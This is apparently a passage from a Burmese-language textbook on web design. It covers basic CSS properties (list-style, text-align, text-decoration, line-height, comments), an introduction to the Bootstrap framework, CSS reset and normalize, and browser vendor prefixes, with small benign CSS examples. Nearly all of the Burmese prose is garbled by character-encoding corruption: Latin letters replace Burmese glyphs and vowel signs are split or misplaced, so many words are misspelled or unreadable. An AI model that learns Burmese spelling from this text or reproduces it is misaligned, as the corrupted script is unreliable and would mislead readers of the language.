နမူနာအရ  roboto oွန့်oုိင်ရဲ့တည်ကြေနရာကို  url() နဲ့ကြေပးထားပါတယ်။ ဒါကြေeကာင့်  Download  လုပ်ပြပီး
သုံးကြေပးသွားမှာgoစ်လုိ့  User ရဲ့  Device ထဲမှာ အ့ဲဒီoွန့် ရှိရှိ မရှိရှိ အဆင်ကြေgပသွားမှာ goစ်ပါတယ်။ ဒီကုဒ်က
ကြေရးထုံးကို  နမူနာgပတာပါ။  ဒီအတိုင်းကြေရးလုိ့  မgပည့်စံုကြေသးပါyူး။  လက်ကြေတွ့မှာ  oွန့်oုိင်တစ်ခု  မှန်မှန်ကန်
ကန်  အလုပ်လုပ်oုိဆ့ိုရင်  Format  မှန်oုိလ့ည်း လုိပါကြေသးတယ်။  .ttf, .otf, .woff, .eot စ
သgoင့်  oွန့်  Format  အမျ ို းမျ ို းရှိပါတယ်။  ဒါကြေeကာင့်  ကြေရးထံုးကိုပဲ  မှတ်ထားပါ။  တစ်ကယ်  အလုပ်လုပ်oုိ့
အတွက်ကြေတာ့ ကိုယ်တိုင်ကြေရးစရာမလုိပါyူး။ Google Fonts လုိကြေနရာမျ ို းကကြေန သွားယူလုိက်ရင်ရပါတယ်။
နည်းနည်းဆက်ကြေလ့လာeကည့်လုိက်ပါ။ သိပ်မခက်ပါyူး။

- https://fonts.google.com/

https://fonts.google.com/
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@import –  ဒါလည်းပဲ လုိအပ်လုိ့ ထည့်ကြေgပာတာပါ။  Property  ကြေတာ့ မဟုတ်ပါyူး။  HTML Document
ကကြေန CSS oုိင်ကို  <link> Element သုံးပြပီးချတိ်ရပါတယ်။ CSS oုိင်ကကြေန အgခား CSS oုိင်ကို ချတိ်ချင်
ရင်ကြေတာ့ @import ကို သုံးပြပီးချတိ်လုိရ့ပါတယ်။ ဒီလုိပါ -

@import url(path/to/css.file)

ချတိ်ချင်တဲ့ CSS oုိင်ရဲ့ တည်ကြေနရာကို url() သုံးပြပီးချတိ်ရတာပါ။

list-style – <ul> ကြေတွ <ol> ကြေတွမှာကြေoာ်gပတဲ့  Bullet ကြေတွ Number ကြေတွကို  list-style နဲ့
ကြေgပာင်းလုိရ့ပါတယ်။ ဒီလုိပါ -

 CSS 

ul {
    list-style: square;
}

Bullet Value အကြေနနဲ့ square, circle, disc တိုက့ို အသံုးများပါတယ်။ Number Value အကြေနနဲ့
lower-alpha, upper-alpha, lower-roman, upper-roman တိုက့ိုအသုံးများပါတယ်။

text-align – စာကြေတွကို left, right, center, justify စသgoင့် Value ကြေတွနဲ့ လုိသလုိ
စီပြပီးgပလုိ့ ရပါတယ်။ 

 CSS 

p {
    text-align: center;
}

text-decoration –  စာကြေတွကို  Underline  တားoုိ့  (သုိ့မဟုတ်)  oျက်ထားသကဲ့သုိ့  ကန့်လတ်goတ်
လုိင်းထည့်oုိ ့သုံးပါတယ်။ Underline ကြေတွ၊ လုိင်းgoတ်ကြေတွ gပန်goုတ်ချင်ရင်လည်း သံုးလုိရ့ပါတယ်။
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 CSS 

a {
    text-decoration: none;
}

နမူနာအရ  <a> Element  ရဲ့  Underline  ကိုgoုတ်လုိက်တာပါ။  Underline  ထည့်ချင်ရင်  underline
Value ကိုသုံးနိုင်ပြပီး လုိင်းgoတ်ထည့်ချင်ရင် line-through Value ကိုသုံးနိုင်ပါတယ်။

line-height,  letter-spacing,  word-spacing –  စာကြေeကာင်းတစ်ကြေeကာင်းနဲ့  တစ်
ကြေeကာင်းeကား  အကွာအကြေဝး၊  စာလံုးတစ်လုံးနဲတ့စ်လံုးeကားက အကွာအကြေဝးသတ်မှတ်oုိန့ဲ့  Word  တစ်ခုနဲ့
တစ်ခုeကား အကွာအကြေဝးသတ်မှတ်oုိအ့တွက် သုံးနိုင်ပါတယ်။

 CSS 

p {
   line-height: 2em;
   letter-spacing: 2px;
   word-spacing: 5px;
}

နမူနာအရ line-height ကို 2em လုိ့ကြေgပာထားတဲ့အတွက် စာကြေeကာင်းကြေတွကို နှစ်ဆခွာပြပီးgပကြေပးမှာပါ။
လုိင်းကြေတွ အရမ်းကျဲသွားပါလိမ့်မယ်၊ စာကြေတွoတ်လုိ့ သိပ်ကြေကာင်းမှာမဟုတ်ပါyူး။ နမူနာအကြေနနဲ့ ကြေပးထား
တာပါ။  အ့ဲဒီလုိ  line-height မထည့်yဲ  သူ့  Default  အတိုင်းကလည်း  သိပ်အဆင်မကြေgပပါyူး။
စာကြေeကာင်းကြေတွ တစ်ကြေeကာင်းနဲတ့စ်ကြေeကာင်း ကပ်လွန်းပါတယ်။ အင်္ဂ[လိပ်စာကြေတွအတွက်  အသင့်ကြေတာ်ဆံုး
လုိ့  ကြေgပာလုိရ့တဲ့  line-height ပမာဏကကြေတာ့  1.5em goစ်ပါတယ်။ gမန်မာစာကြေတွအတွက်ကကြေတာ့
သုံးထားတဲ့ oွန့်ကြေပါ်မူတည်လုိ့ oတ်လုိ့ကြေကာင်းကြေလာက်မယ့် အကွာအကြေဝးပမာဏကို အမျ ို းမျ ို းကြေgပာင်းစမ်းပြပီး
သင့်ကြေတာ်တဲ့ပမာဏကို သတ်မှတ်ကြေပးoုိ ့လုိပါလိမ့်မယ်။

CSS Comments
ကြေနာက်ဆံုးတစ်ချက်အကြေနနဲ့  CSS  ကြေတွမှာ  ကိုယ်yာသာကြေရးမှတ်ချင်တာကြေတွရှိရင်  /* နဲ့  */ eကားထဲမှာ
Comment  ကြေတွကို ကြေရးမှတ်နိုင်တယ်ဆိုတာကြေလး ထည့်မှတ်ပါ။ အလုပ်လုပ်တဲ့အခါ အ့ဲဒီ  Comment  ကြေတွ
ကို ထည့်အလုပ်လုပ်မှာ မဟုတ်ပါyူး။
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 CSS 

/* Some CSS Comments */

.menu {

/* Another comments */

    color: white;
    background: purple; /* Some more comments */
}

တစ်ကယ်ကြေတာ့  CSS  ဟာ အရမ်းကြကီးမခက်ကြေပမယ့် သူ့ဟာနဲသူ့ ကြေတာ်ကြေတာ်ကြေလး ကျယ်gပန့်တဲ့yာသာရပ်
တစ်ခုပါ။  Text  Effect  ကြေတွ  Image  Effect  ကြေတွလည်း  အများကြကီးရှိပါကြေသးတယ်။  စကြေကးချံု့ချဲ့နဲ့  3D
အသွင်အgပင်လုိ  ကိစ္စမျ ို းကြေတွထိ  CSS  နဲစ့ီမံလုိရ့ပါတယ်။  Animation  ကြေတွလည်း  oန်တီးအသုံးချလုိ့  ရပါ
တယ်။  Grid Layout  ကြေတွoန်တီးလုိ့  ရပါတယ်။ အခုကြေoာ်gပခဲ့တဲ့  အကြေgခခံကြေတွကိုသာ ကြေသချာရကြေအာင်လုပ်
ထားပါ။ အချနိ်တန်လုိ ့ဆက်ကြေလ့လာတဲ့အခါ အဆင်ကြေgပသွားပါလိမ့်မယ်။

တစ်ကယ်ကြေတာ့ Style ကြေတွ အကုန်လုံးကို ကိုယ်တိုင်လုပ်စရာကြေတာ့ မလုိပါyူး။ ဒီအပုိင်းရဲ့ ရည်ရွယ်ချက်ကို
က Bootstrap လုိနည်းပညာမျ ို းကကြေပးတဲ့ အသင့်သံုးလုိရ့တဲ့ လုပ်ကြေဆာင်ချက်ကြေတွကို သုံးတတ်ကြေစoုိ့ goစ်ပါ
တယ်။ ဒါကြေပမယ့် အသင့်သုံးလုိရ့တာပဲ သံုးတတ်ပြပီး  ကိုယ့်yာသာ မလုပ်တတ်ကြေတာ့yူးဆိုရင် ကြေရရှည်မှာ
အဆင်ကြေgပမှာမဟုတ်လုိ့  အခုလုိသိသင့်တဲ့  အကြေgခခံကြေတွကို  ကြေeကညက်ကြေအာင်  အရင်ကြေgပာကြေနgခင်း  goစ်ပါ
တယ်။ ဆက်လက်ပြပီးကြေတာ့ Bootstrap အကြေeကာင်းကို ကြေoာ်gပပါကြေတာ့မယ်။



အပိုင်း (၂)
Bootstrap
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အခန်း (၃) – Bootstrap Intro

Bootstrap CSS Framework  ဟာ  Web Design  နဲ့  Web Development  ကြေလာကကို  ကိုင်လှုပ်ပြပီး တစ်
ကြေခတ်ဆန်းသွားကြေစခဲ့တဲ့  နည်းပညာတစ်ခုပါ။  Bootstrap  မတိုင်ခင်က  Web  Designer  ကြေတွ  Web
Developer ကြေတဟွာ HTML, CSS, JavaScript ကြေတွကို ကိုယ်တိုင် ချကြေရးပြပီးကြေတာ့ ကိုယ့်စိတ်ကူးဉာဏ်ရှိရင်
ရှိသလုိ  ဝy်ဆိုက်ကြေတွကို  oန်တီးခဲ့eကပါတယ်။  Bootstrap  ထွက်ကြေပါ်လာပြပီး  ကြေနာက်မှာကြေတာ့ ကိုယ်တိုင်
အကုန်လုပ်စရာ  မလုိကြေတာ့yဲ  Bootstrap  က  ကြေပးထားတဲ့  အသင့်သုံး  Components  နဲ့  Layouts
လုပ်ကြေဆာင်ချက်ကြေတွကို  အသုံးချပြပီးကြေတာ့ oန်တီးနိုင်လာeကပါတယ်။ ကိုယ့်စိတ်ကူးဉာဏ်နဲ့  တီထွင်ချင်ရင်
လည်း လံုးဝကွဲgပား ဆန်းgပားတဲ့ oန်တီးမှုကြေတွထက် Bootstrap ကို အကြေgခgပုထားတဲ့ oန်တီးမှုကြေတွကို ပုိပြပီး
ကြေတာ့ လုပ်လာeကပါတယ်။

Web Developer တစ်ဦးအကြေနနဲ ့Bootstrap ကြေပါ်ခါစက မကြကိုက်ပါyူး။ yာgoစ်လုိလဲ့ဆိုကြေတာ့ ဒီလုိပါ။

တgခား  Software  အမျ ို းအစားကြေတွနဲ့ယှဉ်ရင်  Web ရဲ့ အားသာချက်ကကြေတာ့ HTML, CSS, JavaScript  ရဲ့
အကူအညီနဲ့  အကန့်အသတ်ကြေyာင် ကြေတာ်ကြေတာ်နည်းပြပီး စိတ်ကူးဉာဏ်ရှိရင်ရှိသကြေလာက် ထူးgခားဆန်းgပား
တဲ့ User Interface ကြေတွoန်တီးနိုင်gခင်းပဲ goစ်ပါတယ်။ ၂၀၀၅-၂၀၁၀ eကားကာလဟာ Web ရဲ့ ကြေရ£ကြေခတ်ပါ
ပဲ။  Web Designer  ကြေတွ  Web Developer  ကြေတွ အပြပိုင်အဆိုင် လက်စွမ်းကြေတွgပပြပီး တီထွင်လုိက်eကတာမှ
အပြပိုင်အဆိုင်ပါပဲ။  ဒါကြေပမယ့်  အ့ဲဒီအားသာချက်ကပဲ  Web  ရဲ့  အားနည်းချက်လည်း  goစ်ကြေနgပန်ပါတယ်။
စိတ်ကူးရှိသလုိ oန်တီးလုိရ့တာ မှန်ကြေပမယ့်၊ အကုန်ကိုယ့်yာသာ oန်တီးကြေနရပါတယ်။ ထပ်ခါထပ်ခါ gပန်
ပြပီးကြေတာ့ oန်တီးရပါတယ်။ တစ်ကြေယာက်ကို တစ်မျ ို းစီ ထွင်eကကြေတာ့၊ သုံးတဲ့ User က၊ ဟိုကြေနရာမှာတစ်မျ ို း၊
ဒီကြေနရာမှာတစ်မျ ို း၊ မျက်စိကြေတွ လည်eကပါတယ်။

Bootstrap  ကြေပါ်လာတဲ့အခါ သူ့မှာ  User Interface  ကြေတွတည်ကြေဆာက်oုိ့  အသင့်သုံးနိုင်တဲ့  Layouts  ကြေတွ
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Components ကြေတွ ပါဝင်လာပါတယ်။ ကြေတာ်ကြေတာ်ကြေလး အဆင်ကြေgပတဲ့အတွက် အချနိ်တိုအတွင်း လူကြကိုက်
များပြပီး လူသံုးများသွားပါတယ်။ ဒီကြေတာ့ ဟုိဝy်ဆိုက် eကည့်လုိက်လဲ ဒီပံုစံ၊ ဒီဝy်ဆိုက် eကည့်လုိက်လဲ ဒီ
ပုံစံ၊  ပံုစံတူကြေတွ  များလာကြေတာ့တာပါပဲ။  အ့ဲဒါကို  မကြကိုက်ခဲ့တာပါ။  မူလ  Web နည်းပညာရဲ့  လွပ်လွပ်လပ်
လပ် oန်တီးတဲ့အကြေလ့အကျင့်ကြေတွ တစ်goည်းgoည်း နည်းပါးကြေပျာက်ကွယ်သွားပြပီလုိ ့gမင်ခဲ့တာပါ။

အချနိ်ကာလတစ်ခု  ကြေရာက်လာကြေတာ့မှ  အ့ဲဒါကသာလျှင်  ပုိကြေကာင်းတဲ့နည်းဆိုတာကို  သိလာခဲ့ရတာပါ။
အသုံးgပုသူ  User  က ရှုချင်စoွယ်၊ သုံးချင်စoွယ်goစ်တာကို  လုိချင်ကြေပမယ့် အလွန်အမင်း ဆန်းgပားတာကို
ကြေတာ့မလုိချင်ပါyူး။  Consistence  goစ်တာကို  လုိချင်တာပါ။  သံုးရလွယ်ကူတာကို  လုိချင်တာပါ။
Bootstrap  ထွက်ကြေပါ်လာပြပီးကြေနာက်မှာကြေတာ့  Menu  ရဲ့oဲွ့စည်းပံု၊  ပါဝင်တဲ့  Component  ကြေတွရဲ့  oဲွ့စည်းပံု၊
Layout ရဲ့oဲွ့စည်းပံု၊ ဒါကြေတွဟာ ခပ်ဆင်ဆင်ကြေတွ goစ်လာကြေတာ့ User အတွက်က ကြေတာ်ကြေတာ် အဆင်ကြေgပပါ
တယ်။ yယ်သွားသွား အကြေရာင်အကြေသွးနဲ့  oဲွ့စည်းပံုသာ ကွဲgပားသွားမယ်၊ အသုံးgပုနည်းက အသစ်အဆန်း
မဟုတ်ကြေတာ့yဲ သိရှိကျွမ်းဝင်ပြပီး goစ်တဲ့ ပံုစံကိုသာ ရရှိမှာgoစ်ပါတယ်။

ဒီသကြေyာသyာဝကြေeကာင့်ပဲ  Bootstrap  ဟာ  လက်ရှိမှာလူသံုးအများဆံုး  နည်းပညာတစ်ခုgoစ်ကြေနတာပါ။
Bootstrap နဲ့ အပြပိုင်  Foundation လုိ အလားတူ နည်းပညာကြေတွ ရှိကြေသးကြေပမယ့် Bootstrap ကသာလျှင်
အဓိကနည်းပညာ  goစ်လာခဲ့ပါတယ်။  အခုကြေနာက်ပုိင်းမှာ  Bootstrap  နဲ့  ရည်ရွယ်ချက်တူကြေပမယ့်
သကြေyာသyာချင်း  မတကူြေတာ့တဲ့  Tailwind  လုိ့ကြေခါ်တဲ့  နည်းပညာတစ်ခု  ကြေခတ်စားစ  gပုကြေနပါတယ်။
Bootstrap  ကို  ကြေကျာ်goတ်ပြပီး  အဓိကနည်းပညာကြေနရာကို  ယူသွားမလားဆိုတာကြေတာ့  ကြေgပာoုိ့ကြေစာပါကြေသး
တယ်။ ကြေစာင့်eကည့်eကရဦးမှာပါ။

Bootstrap  ဟာ  ကြေလ့လာရလွယ်ကူတဲ့နည်းပညာတစ်ခုပါ။  HTML/CSS  အကြေgခခံရှိသူ  မည်သူမဆို  ကိုယ့်
yာသာ ကြေလ့လာအသုံးချလုိ ့ရနိုင်ပါတယ်။ Bootstrap Documentation ဟာ ရှင်းလင်းပြပီး အစီအစဉ်ကျတဲ့
အတွက် ဒီ Documentation နဲတ့င် ကြေလ့လာသူကြေတွအတွက် ကြေတာ်ကြေတာ်အဆင်ကြေgပကြေနပါပြပီ။

- https://getbootstrap.com/docs

ဒါကြေပမယ့်  Documentation  ဆိုတာ  ရှိသမျှအကုန်ပါကြေအာင်  ကြေoာ်gပရပါတယ်။  သင်ယူကြေလ့လာ  oုိထ့က်၊
လက်ကြေတွ့အသုံးချချနိ် လုိအပ်လာတဲ့အခါ ကိုးကားoုိအ့တွက် ပုိပြပီးကြေတာ့သင့်ကြေတာ်ပါတယ်။ သင်ယူကြေလ့လာ

https://getbootstrap.com/docs
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ကြေနတဲ့အချနိ်မှာကြေတာ့  လုိလုိမလုိလုိ  ရှိသမျှအကုန်eကည့်တယ်  ဆိတုဲ့နည်းဟာ  ထိကြေရာက်တဲ့ကြေလ့လာမှု
မဟုတ်yူးလုိ့ ဆိုချင်ပါတယ်။ အစပုိင်းမှာ အကြေgခခံကျတဲ့ သကြေyာသyာဝကြေတွကို နားလည်ကြေအာင်လုပ်၊ ပြပီး
တဲ့အခါ  အသံုးများတဲ့  လုပ်ကြေဆာင်ချက်ကြေတွကို  ဦးစားကြေပးပြပီး  ကြေရွးချယ်ကြေလ့လာရတာပါ။  အကြေgခခံသကြေyာ
သyာဝကို ကြေကာင်းကြေကာင်းနားလည်ရင် အသံုးနည်းတဲ့ ကိစ္စကြေတွက ချက်gခင်းလုပ်စရာ မလုိပါyူး။ လုိအပ်
လာကြေတာ့မှ  eကည့်လုိက်လုိ့  ရနိုင်ပါတယ်။  အဆက်မgပတ်  ကြေလ့လာရင်းအသုံးချသွားတဲ့    Continuous  
Learning    စနစ်   ဆိုပါကြေတာ့။  ဒီနည်းနဲ့သာ  ကကြေနက့ြေခတ်လုိ  ကြေလ့လာစရာကြေတွ  မဆံုးနိုင်ကြေအာင်  များလှတဲ့
အကြေgခအကြေနမှာ  ထိထိကြေရာက်ကြေရာက်  ကြေလ့လာအသုံးချနိုင်မှာပါ။  ဒါကြေeကာင့်  ဒီစာအုပ်မှာ  HTML/CSS  လုိ
အကြေgခခံသကြေyာသyာဝကြေတွကို  အရင်ဦးစားကြေပးကြေoာ်gပခဲ့ပြပီး၊  ကြေနာက်တစ်ဆင့်အကြေနနဲ့  Bootstrap  ရဲ့
အကြေရးကြကီးပြပီး အသုံးများမယ့် အကြေeကာင်းအရာကြေတွကို ကြေရွးထုတ်ကြေoာ်gပသွားမှာ goစ်ပါတယ်။

အကြေပါ်မှာကြေပးထားတဲ့  Link ကကြေန Bootstrap Documentation ကိုသွားeကည့်လုိက်မယ်ဆိုရင် ကြေတွ့ရမယ့်
အကြေခါ်အကြေဝါ်  အသုံးအနှုန်းကြေလးကြေတွ  ရိှပါတယ်။  ဒီအသံုးအနှုန်းကြေလးကြေတွက  သင့်တင့်တဲ့အကြေတွ့အကြကံု  ရှိ
ထားပြပီး  Web Developer  တစ်ကြေယာက်အတွက်  အထူးအဆန်း  မဟုတ်ကြေပမယ့်၊  အခုမှစကြေလ့လာမယ့် သူ
အတွက်ကြေတာ့ အထူးအဆန်း goစ်ကြေနနိုင်ပါတယ်။ အကြေgခခံသကြေyာသyာဝကို အရင်နားလည်ကြေအာင် လုပ်ရ
မယ်ဆိုတဲ့  ကြေလ့လာမှုလမ်းစဉ်နဲအ့ညီ  Bootstrap  ကိုလက်ကြေတွ့မကြေလ့လာခင်  ဒီအကြေgခခံအသုံးအနှုန်းကြေလး
ကြေတွကို အရင်ကြကိုပြပီး ရှင်းgပထားချင်ပါတယ်။

CSS Reset
ပြပီးခဲ့တဲ့အခန်းမှာ CSS အကြေeကာင်းကြေgပာတံုးက Browser Default Style ဆိုတဲ့ အသံုးအနှုန်းတစ်ခု ပါသွားခဲ့
ပါတယ်။  <h1> ဆိုရင် စာလံုးကြကီးကြကီးနဲ့  gပကြေပးတယ်။  <p> ဆိုရင် တစ်ခုနဲတ့စ်ခု နည်းနည်းခွာပြပီး gပကြေပး
တယ်။ <ul><li> ဆိုရင် Bullet စာရင်းနဲ့gပကြေပးတယ်။ <a> ဆိုရင် စာလံုးအgပာကြေရာင်နဲ့ Underline တား
ပြပီးgပကြေပးတယ်။  စသgoင့်  လုပ်ကြေဆာင်ချက်ကြေတွကို  Browser  Default  Style လုိ့ကြေခါ်တာပါ။  ကိုယ်ကြေရးကြေပး
ထားတာ မဟုတ်yဲ Browser ကြေတွက မူလကတည်းက သတ်မှတ်ထားတဲ့ Default Style ကြေတွ goစ်ပါတယ်။

gပဿနာက၊ အ့ဲဒီ  Default Style  ကြေတွဟာ တစ်ကယ်တမ်း အသံုးမဝင်gခင်း goစ်ပါတယ်။ သူကသာ  Style
လုပ်ကြေပးထားတာ၊  ကြေပးထားတဲ့အတိုင်း  သံုးလုိလ့ည်း  အဆင်မကြေgပပါyူး။  အဆင်ကြေgပတဲ့ပုံစံgoစ်ကြေအာင်  gပန်
gပင်ပြပီး အပြမဲတမ်းကြေရးရတာပဲ။ ပြပီးကြေတာ့  Browser  တစ်ခုနဲတ့စ်ခု အ့ဲဒီ  Default Style  ကြေတွက မတူeကgပန်
yူး။ နည်းနည်းကွဲeကgပန်တယ်။ ဒီကြေတာ့ တစ်ချ ို ့ Element ကြေတရွဲ့ ကြေoာ်gပပုံရလဒ်က Browser တစ်ခုမှာပံုစံ
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တစ်မျ ို း၊ ကြေနာက် Browser ကျကြေတာ့ ကြေနာက်ပုံစံတစ်မျ ို း goစ်ကြေနတတ်ပါတယ်။ အများကြကီးကွာသွားတာကြေတွ
ရှိသလုိ၊ နည်းနည်းကြေလး မသိမသာ ကွာတာကြေတွလည်း ရှိကြေနပါတယ်။ 

CSS  Reset  ဆိုတာ အ့ဲဒီလုိ  အသံုးမဝင်တဲ့အgပင်  Browser  တစ်ခုနဲတ့စ်ခု  မတyူဲကွဲgပားကြေနတဲ့  Default
Style ကြေတွကို oယ်ထုတ်ပစ်လုိက်တာပါ။ ကိုယ့်yာသာ ကြေရးလုိရ့သလုိ၊ အသင့်ကြေရးထားပြပီးသား Reset ကုဒ်
ကြေတွကို ယူသုံးလုိလ့ည်း ရနိုင်ပါတယ်။ ကိုယ်yာသာ ကြေရးမယ်ဆိုရင် ဥပမာက ဒီလုိပါ -

HTML  ထဲမှာ  <h1><h2><ul><li> Element  ကြေတွထည့်ထားကြေပးမယ့်  ရလဒ်ကိုeကည့်လုိက်ရင်  yာ
Style  မှမပါကြေတာ့yဲ  ရုိးရုိးစာကြေတွလုိ  တန်းစီပြပီး  gပကြေနတာကို  ကြေတွ့ ရမှာပါ။  CSS  နဲပဲ့  <h1><h2> ရဲ့
font-weight တန်oုိးကို  normal လုိသ့တ်မှတ်ပြပီး နင်္ဂိုပါကြေနတဲ့  Bold  ကို goုတ်လုိက်ပါတယ်။  <ul>
အတွက် list-style တန်oုိး none လုိ့ကြေgပာပြပီး နင်္ဂိုပါကြေနတဲ့ Bullet ကြေတွကို goုတ်လုိက်ပါတယ်။ နင်္ဂိုပါ
ကြေနတဲ့  margin, padding ကြေတွ အကုန် goုတ်လုိက်ပါတယ်။ ဒါကြေeကာင့်  Default Style  ကြေတွ အကုန်
gပုတ်သွားလုိ့ အားလံုးကို ရုိးရုိးစာကြေတွလုိ တန်းစီပြပီးgပကြေနတာပါ။ ဒီသကြေyာကို  CSS Reset လုိ့ကြေခါ်gခင်း goစ်
ပါတယ်။
ဒီ  Reset  ကုဒ်မျ ို းကို  ကိုယ့်yာသာ  ကြေရးစရာမလုိပါyူး။  အသင့်ကြေရးပြပီးသားကြေတွ  ရှိပါတယ်။  Element
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အားလုံးအတွက်  တစ်ခုမကျန်  ကိုယ့်yာသာကြေရးရင်  စံုမှာမဟုတ်ပါyူး။  ဒါကြေeကာင့်လုိအပ်ရင်  အထပ်ထပ်
စမ်းထားပြပီးသား gပည့်စံုတဲ့ အသင့်သုံး Reset ကုဒ်ကြေတွကို အသုံးgပုသင့်ပါတယ်။ Bootstrap ကကြေတာ့ အရင်
Version အကြေဟာင်းကြေတွမှာ normalize.css လုိ့ကြေခါ်တဲ့ နည်းပညာကိုသံုးပါတယ်။ သူလည်း Reset တစ်မျ ို း
ပါပဲ။ ဒါကြေပမယ့် သူကကြေတာ့ ရှိသမျှ Default Style ကြေတွကို အကုန်goုတ်မgပစ်yဲ၊ <h1> ဆိုရင် ကြေခါင်းစီးနဲတ့ူ
ကြေအာင် ခပ်ကြကီးကြကီးgပမယ်။ <ul> ဆို Bullet နဲပဲ့ ဆက်လက်ကြေoာ်gပကြေပးသွားမှာ goစ်ပါတယ်။ သူလုပ်ကြေပးမှာ
က Browser မတူလုိ ့ကွဲgပားကြေနတတ်တဲ့ အသွင်အgပင်ကြေတွကို ညီသွားကြေအာင် ညိှကြေပးလုိက်မှာပါ။

ဒါကြေeကာင့် အကျဉ်းချုပ်အကြေနနဲ့  Reset   နဲ့    Normalize   ဆိုပြပီး နှစ်မျ ို းရှိတယ်။   Reset   က   Default Style   ကြေတွ  
အကုန်ရှင်းgပစ်ပြပီး    Normalize   ကကြေတာ့   Default Style   ကြေတွကို ညီကြေအာင် ညိှကြေပးလုိက်တယ်လုိ့ မှတ်နိုင်ပါ  
တယ်။  Bootstrap  က ကြေနာက်ပုိင်း  Version  ကြေတွမှာ  Reboot  လုိအ့မည်ကြေပးထားတဲ့  normalize.css  နဲ့
သကြေyာသyာဝ ဆင်တူတဲ့ နည်းစနစ်ကို သံုးပါတယ်။

Vendor Prefix
CSS  နဲ့လုပ်လုိရ့တာကြေတွအများကြကီးပါ။  ပြပီးခဲ့တဲ့အခန်းမှာလည်း  ကြေgပာခဲ့ပါတယ်။  ဒီလုပ်ကြေဆာင်ချကက်ြေတွမှာ
အဆင့်အမျ ို းမျ ို းရှိပါတယ်။  ကြေဆွးကြေနွးဆဲအဆင့်၊  စမ်းသပ်တဲ့အဆင့်၊  လက်ကြေတွ့အသုံးချအဆင့်  စသgoင့်
အဆင့်ဆင့်  ရှိeကပါတယ်။  ဒီစာအုပ်မှာ  ကြေoာ်gပထားတာကြေတွ  အားလုံးက  လက်ကြေတွ့အသုံးချအဆင့်
လုပ်ကြေဆာင်ချက်ကြေတွ goစ်ပါတယ်။ တစ်ချ ို ့ စမ်းသပ်ဆဲအဆင့်  CSS ရဲ့ လုပ်ကြေဆာင်ချက်ကြေတွကို ထည့်သွင်း
အသုံးgပုလုိရင် ဒီအတိုင်းသံုးလုိ့ မရပါyူး။ Vendor Prefix လုိ့ကြေခါ်တဲ့ ကြေရးထုံးတစ်မျ ို းကို အသံုးgပုရကြေလ့ ရှိပါ
တယ်။ ဥပမာ - ဒီလုိကုဒ်မျ ို းကို ရံoန်ရံခါ ကြေတွ့ရနိုင်ပါတယ်။

 CSS 

p {
    background: yellow;
    background: linear-gradient(90deg, yellow, green);
    background: -moz-linear-gradient(90deg, yellow, green);
    background: -webkit-gradient(linear, top, yellow, green);
    background: -o-linear-gradient(90deg, yellow, green);
    background: -ms-linear-gradient(90deg, yellow,green);
}

ဒါကကြေတာ့  Linear  Gradient  လုပ်ကြေဆာင်ချက်ကို  စမ်းသပ်ဆဲအဆင့်မှာ  ကြေရးခဲ့eကရတဲ့ကုဒ်ပါ  (အခုကြေတာ့
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လက်ကြေတွ့အသုံးချလုိ့  ရကြေနပြပီမုိလုိ့့  ဒါမျ ို းကြေတွ  မလုိကြေတာ့ပါyူး)။  background တစ်ခုထဲကိုပဲ  (၆)  ခါ
ကြေရးထားရပါတယ်။ ပထမဆံုးတစ်ခုမှာ  Background  ကို  ရုိးရုိး  Color  အကြေနနဲ့  သတ်မှတ်ထားပါတယ်။ ဒါ
ကြေeကာင့် ဆက်လက်ကြေရးသားတဲ့  စမ်းသပ်အဆင့်ကုဒ်ကြေတွကို  Browser  က နားမလည်ရင်လည်း ကိစ္စမရှိပါ
yူး၊ ဒီ Color ကိုပဲအသုံးgပု အလုပ်လုပ်သွားမှာပါ။ ဒီနည်းကို Fallback Style လုိ့ ကြေခါ်ပါတယ်။ သံုးချင်တာ
က ဆက်လက်ကြေရးသားထားတဲ့ စမ်းသပ်အဆင့် ကုဒ်ကြေတွgoစ်ပြပီး၊ အကယ်၍ အဆင်မကြေgပရင် ရုိးရုိး Color ကို
ပဲသုံးမယ်ဆိုတဲ့ သကြေyာမျ ို း goစ်သွားပါတယ်။

Linear  Gradient  အတွက်  တစ်ကယ့်ကြေရးနည်းအမှန်က  linear-gradient() goစ်ပါတယ်။   ဒါကို
တစ်ချ ို ့  Browser  ကြေတွက လုိက်နာတယ်။  တစ်ချ ို ့  Browser  ကြေတွကပုိကြေကာင်းတယ်ထင်တဲ့  နည်းကိုသံုး
တယ်။  ဒါကြေeကာင့်  Browser  တစ်ခုနဲတ့စ်ခု  ဒီအဆင့်မှာ  အလုပ်လုပ်ပံုမတူeကပါyူး။  ဒါကြေeကာင့်သုံးချင်ရင်
သက်ဆိုင်ရာ Browser က သတ်မှတ်ထားတဲ့ Prefix ကြေတွ ကြေရှ့ကခံပြပီး ကြေရးကြေပးရပါတယ်။ တgခား Browser
ကြေတွမှာ ဒီကုဒ်က အလုပ်လုပ်မှာ မဟုတ်yူးဆိုတာကို ကြေပါ်လွင်သွားကြေအာင်လုိ့ပါ။

-moz- Prefix နဲစ့တဲ့လုပ်ကြေဆာင်ချက်ကြေတွက Mozilla Firefox Browser  အတွက်ပါ။ -webkit- Prefix
နဲစ့တဲ့ လုပ်ကြေဆာင်ချက်ကြေတွကကြေတာ့ Google Chrome နဲ့ Apple Safari Browser ကြေတွ အတွက်ပါ။ ဒီနှစ်ခု
က  Browser  အကြေနနဲ့  မတူကြေပမယ့်  သံုးထားတဲ့  Rendering  Engine  ကြေခါ်  HTML/CSS  ကုဒ်ကြေတွကြေပါ်မှာ
အကြေgခခံပြပီး  သင့်ကြေတာ်တဲ့ရလဒ်ကို  ကြေoာ်gပကြေပးတဲ့  နည်းပညာက အတူတူပဲမုိလုိ့့ပါ။ ဒီအကြေeကာင်းကို  ဒီကြေနရာ
မှာ အကျယ်မချဲ့ကြေတာ့ပါyူး။ တစ်ချ ို ့   Browser   ကြေတွက   Browser   သာမတူတာ၊   Rendering Engine   တူeက  
တယ်လုိ့  အကျဉ်းချုပ်  မှတ်နိုင်ပါတယ်။  -o- Prefix  က  Opera  Browser  အတွက်goစ်ပြပီးကြေတာ့  -ms-
Prefix ကကြေတာ့ Microsoft Internet Explorer အတွက်ပါ။

အခုကြေနာက်ပုိင်းမှာ Google Chrome, Apple Safari, Opera, Brave, Microsoft Edge စတဲ့ Browser ကြေတွ
အားလုံးက သုံးထားတဲ့ Rendering Engine တူeကပါတယ်။ မတူတာဆိုလုိ့ Major Browser ထဲမှာ Firefox
တစ်ခုပဲ ကျန်ကြေတာ့တယ်လုိ့ကြေတာင် ဆိုနိုင်ပါတယ်။ Vendor Prefix ကြေတွကိုလည်း အသံုးကြေတာ့ နည်းလာeက
